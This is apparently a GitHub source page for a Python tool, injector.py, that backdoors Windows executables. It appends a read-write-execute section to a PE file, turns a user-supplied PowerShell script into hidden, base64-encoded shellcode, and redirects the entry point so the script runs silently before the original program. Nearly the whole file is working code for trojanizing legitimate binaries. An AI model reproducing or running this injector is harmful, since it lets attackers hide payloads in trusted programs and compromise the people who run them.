-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathinjector.py
135 lines (106 loc) · 5.28 KB
/
injector.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
#Reference: https://axcheron.github.io/code-injection-with-python/
import pefile
import sys
from os import system
import struct
import base64
def align(size, alignment):
return (((size + alignment - 1) // alignment) * alignment)
def addSection(fileName, sectionSize, injectedFile):
'''add a new section with specified size at the end of the executable'''
print("[*] Adding new section")
pe = pefile.PE(fileName)
newSectionName = b".frost"
newSectionName += b"\x00" * (8 - len(newSectionName)) #name of section must be 8 bytes
#calculate offset and size of new section
# it seems virtualSize doesn't need alignment, but just to be sure
virtualSize = align(sectionSize, pe.OPTIONAL_HEADER.FileAlignment)
rawSize = align(sectionSize, pe.OPTIONAL_HEADER.SectionAlignment)
characteristics = 0xE0000020 # READ | WRITE | EXECUTE | CODE
numberOfSections = pe.FILE_HEADER.NumberOfSections
virtualOffset = align(pe.sections[numberOfSections - 1].VirtualAddress +
pe.sections[numberOfSections - 1].Misc_VirtualSize,
pe.OPTIONAL_HEADER.SectionAlignment)
rawOffset = align(pe.sections[numberOfSections - 1].PointerToRawData +
pe.sections[numberOfSections - 1].SizeOfRawData,
pe.OPTIONAL_HEADER.FileAlignment)
newSectionEntry = pe.sections[numberOfSections - 1].get_file_offset() + 40
#add a new entry to section header table
#an entry in the section header table follows the IMAGE_SECTION_HEADER structure
pe.set_bytes_at_offset(newSectionEntry, newSectionName)
pe.set_dword_at_offset(newSectionEntry + 8, virtualSize)
pe.set_dword_at_offset(newSectionEntry + 12, virtualOffset)
pe.set_dword_at_offset(newSectionEntry + 16, rawSize)
pe.set_dword_at_offset(newSectionEntry + 20, rawOffset)
pe.set_bytes_at_offset(newSectionEntry + 24, b"\x00"*12)
pe.set_dword_at_offset(newSectionEntry + 36, characteristics)
# Edit the value in the File and Optional headers
pe.FILE_HEADER.NumberOfSections += 1
pe.OPTIONAL_HEADER.SizeOfImage = virtualSize + virtualOffset
pe.write(injectedFile)
#resize the executable
f = open(injectedFile, "ab")
f.write(b"\x00" * rawSize)
f.close()
def extractShellcode(filename):
'''A simple COFF parser to extract the shellcode from the COFF file'''
'''COFF file structure: https://wiki.osdev.org/COFF'''
with open(filename, "rb") as f:
f.seek(16, 0)
optionalHeaderSize = struct.unpack("<l", f.read(4))[0]
f.seek(20 + optionalHeaderSize, 0) #go to the section header
#we don't need to loop through the file to find the .text section
#because there is only 1 section
f.seek(16, 1)
shellcodeSize = struct.unpack("<l", f.read(4))[0] #read the s_size field of the structure
shellcodeAddr = struct.unpack("<l", f.read(4))[0] #read the s_scnptr field of the structure
f.seek(shellcodeAddr, 0)
shellcode = f.read(shellcodeSize)
return shellcode
def craftShellcode(filePath, scriptPath):
'''write the ps script to an asm file and compile it to create shellcode'''
'''structure for 64-bit PEB is taken from here:
https://ntopcode.wordpress.com/2018/02/26/anatomy-of-the-process-environment-block-peb-windows-internals/'''
pe = pefile.PE(filePath)
originalEntryPoint = pe.OPTIONAL_HEADER.AddressOfEntryPoint
print("[*] Reading powershell script")
with open(scriptPath, "r") as f:
script = f.read().strip('\n').replace("\\", "\\\\")
#use UTF-16LE instead of UTF-16 to drop the BOM at the beginning
print("[*] Encoding powershell script")
script = script.encode("UTF-16LE")
b64Script = base64.b64encode(script).decode("utf-8")
powershellCmdLine = "powershell.exe -w Hidden -e %s"%(b64Script)
#Read shellcode template from file
with open("template.S", "r") as f:
asmTemplate = f.read()
#compile the shellcode to a COFF file then extract it
print("[*] Compiling shellcode")
asmFile = open("shellFile.S", "w")
asmFile.write(asmTemplate %(powershellCmdLine, originalEntryPoint))
asmFile.close()
system("nasm -f win64 shellFile.S -o compiled.obj")
compiledCode = extractShellcode("compiled.obj")
system("del /f shellFile.S")
system("del /f compiled.obj")
return compiledCode
def injectShellcode(fileName, shellcode):
'''write shellcode to the newly created section, then change the entry point'''
print("[*] Injecting shellcode")
pe = pefile.PE(fileName)
rawOffset = pe.sections[pe.FILE_HEADER.NumberOfSections - 1].PointerToRawData
pe.set_bytes_at_offset(rawOffset, shellcode)
print("[*] Changing entry point")
pe.OPTIONAL_HEADER.AddressOfEntryPoint = pe.sections[pe.FILE_HEADER.NumberOfSections - 1].VirtualAddress
print("\tNew entry point: 0x%02x"%(pe.OPTIONAL_HEADER.AddressOfEntryPoint))
pe.write(fileName)
if __name__ == "__main__":
if (len(sys.argv) < 3):
print("Usage: python injector.py <peFile> <psScript>")
exit(1)
peFilePath = sys.argv[1]
psScriptPath = sys.argv[2]
shellcode = craftShellcode(peFilePath, psScriptPath)
outputFile = "modified.exe"
addSection(peFilePath, len(shellcode), outputFile)
injectShellcode(outputFile, shellcode)